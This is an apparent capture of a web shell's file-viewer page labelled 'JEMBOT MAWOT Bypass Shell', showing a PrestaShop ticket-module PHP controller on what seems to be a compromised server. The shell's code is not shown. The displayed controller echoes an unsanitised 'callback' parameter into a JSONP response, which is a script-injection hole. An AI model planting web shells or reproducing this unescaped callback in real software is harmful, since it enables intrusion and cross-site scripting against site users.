JEMBOT MAWOT Bypass Shell

Current Path : /home/cinepatreb/billetterie/modules/selltickets/controllers/front/
Upload File :
Current File : /home/cinepatreb/billetterie/modules/selltickets/controllers/front/appfunctions.php

<?php
/**
 * Sell Tickets module for Prestashop by Avellana Digital
 *
 * @author    Avellana Digital SL
 * @copyright Copyright (c) 2019 Avellana Digital - www.avellanadigital.com
 * @license   Commercial license
 * @version    4.0.0
 */
 if (!defined('_PS_VERSION_')) { exit; }

require_once _PS_MODULE_DIR_.'selltickets/selltickets.php';

class SellTicketsAppfunctionsModuleFrontController extends ModuleFrontController
{
    public function initContent()
    {
        $selltickets = new SellTickets();
        if (Tools::getValue('action') && Tools::getValue('key')) {
            if ((Tools::getValue('action') == 'getAccess' || Tools::getValue('action') == 'getValidation')
                && Tools::strlen(Tools::getValue('key')) == 10) {
                $data = array();

                if (Tools::getValue('action') == 'getAccess') {
                    $key = Tools::getValue('key');
                    $real_key = Configuration::get('selltickets_appkey');

                    if (isset($key) && $key == $real_key) {
                        $data['status'] = 'ok';
                    } else {
                        $data['status'] = 'ko';
                    }

                    echo Tools::getValue('callback').'('.Tools::jsonEncode($data).')';
                    die;
                }

                if (Tools::getValue('action') == 'getValidation') {
                    $key = Tools::getValue('key');
                    $real_key = Configuration::get('selltickets_appkey');

                    if (isset($key) && $key == $real_key) {
                        $scan = Tools::getValue('scanned');
                        $data = $selltickets->validateTicket($scan);
                    } else {
                        $data['status'] = 'ko';
                    }

                    echo Tools::getValue('callback').'('.Tools::jsonEncode($data).')';
                    die;
                }
            } else {
                die;
            }
        } else {
            die;
        }
    }
}

xxxxx1.0, XXX xxxx